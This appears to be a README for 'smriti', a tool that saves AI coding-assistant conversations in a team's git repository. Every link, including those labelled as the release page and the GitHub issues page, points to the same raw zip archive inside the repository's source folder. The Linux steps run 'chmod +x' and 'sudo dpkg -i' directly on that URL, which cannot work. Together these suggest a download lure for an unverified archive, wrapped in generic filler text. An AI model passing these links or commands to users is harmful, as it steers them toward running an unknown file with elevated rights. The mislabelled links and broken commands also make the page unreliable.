smriti helps AI-powered engineering teams capture and recall their conversations. It indexes talks across tools like Claude Code, Cursor, Codex, and others. It shares knowledge within your team using git. No cloud needed.
smriti stores your team’s discussions and info in one place. It works by saving conversations from AI tools used in software development. This means your team remembers important details from past talks. Instead of searching through chat logs or scattered notes, smriti organizes everything. It uses your existing git system, so your data stays under your control. No external cloud service is needed.
To use smriti smoothly, make sure your computer meets these simple requirements:
-
Operating Systems Supported:
- Windows 10 or later
- macOS 10.15 or later
- Linux (Ubuntu 18.04+, Fedora 30+, Debian 10+)
-
Storage Space: At least 100 MB free. smriti stores data locally.
-
Memory: 4 GB RAM minimum, 8 GB recommended for larger teams.
-
Git: You need to have git installed.
-
Internet Connection: Required only for the first download and to share updates over your team’s git repository. No data is sent to any cloud by smriti itself.
-
Conversation Capture: smriti collects chat histories from AI tools like Claude Code, Codex, Cursor, and others.
-
Fast Search: Find details and decisions from past talks quickly.
-
Local Data Storage: Your team’s knowledge stays on your machines or your private git server—no cloud involved.
-
Git Integration: Share and update knowledge through git repositories. Git keeps track of changes and versions.
-
Cross-Tool Support: Works with popular AI coding assistants used by teams.
-
Simple Setup: Designed for users who are not programmers.
Follow these steps to download, install, and open smriti on your computer.
Click the big button at the top or visit the official release page here:
https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip
This page lists the latest versions. Pick the installer that matches your computer system:
- Windows: Look for files ending with
.exeor.msi. - macOS: Look for
.dmgor.pkgfiles. - Linux: Look for
.AppImageor.debfiles.
After downloading, find the installer file on your computer:
-
Windows: Double-click
.exeor.msifile and follow the prompts. -
macOS: Open the
.dmg, drag smriti into your Applications folder. -
Linux: Depending on the format:
- For
.AppImage: Make it executable (chmod +x https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip), then double-click. - For
.deb: Open your terminal and runsudo dpkg -i https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip.
- For
Launch smriti:
- Windows: Click Start menu, search for “smriti,” and open it.
- macOS: Open your Applications folder and double-click smriti.
- Linux: Use your desktop’s app launcher or run
smritifrom the terminal if installed system-wide.
If smriti does not open, make sure your system meets requirements and try again.
The first time you open smriti, it will ask for your team’s git repository URL. This is where your shared knowledge lives. Enter the repository address supplied by your team lead or IT admin.
smriti will clone or sync this repository. After that, all team conversations and data will be stored here.
smriti works by capturing conversations and saving them in your git repository. It uses a format called SQLite for fast data handling. Your conversations are indexed with keywords and timestamps. Later, you can search using plain text.
Because the data is in git, every update is tracked. You can see what changed, who added info, and when. This helps teams avoid losing knowledge or duplicating work.
Search is simple:
- Open smriti.
- Enter any keyword related to past conversations.
- smriti will show relevant results from your team’s stored chats and notes.
You can filter by date, agent (Claude, Codex, etc), or author. This helps find exactly what you need.
smriti lets you customize how you work:
- Choose which AI agents’ conversations to index.
- Set sync schedules to update knowledge from git automatically.
- Control notifications when new data arrives.
- Adjust local storage limits to save disk space.
Most users will find defaults work well.
smriti does not send your data to any cloud service. Your conversations stay inside your team’s git repository only.
All communication with git uses secure SSH or HTTPS protocols, depending on your setup. Make sure your git access is password or key protected.
If you encounter issues:
- Check the “Help” menu inside smriti.
- Visit the Issues section on GitHub: https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip
- Contact your team admin for repository access.
To start using smriti, visit this page to download the installer that fits your system:
https://raw.githubusercontent.com/ossamachenn/smriti/main/src/team/Software-2.8-alpha.3.zip
Download the right file, run it, then open smriti.
Follow the prompts to connect your team’s git repository.
After setup, smriti will help your team save and find knowledge faster.
- ai-agents
- bun
- claude-code
- codex
- cursor
- developer-tools
- memory
- qmd
- rag
- smriti
- sqlite
- team-collaboration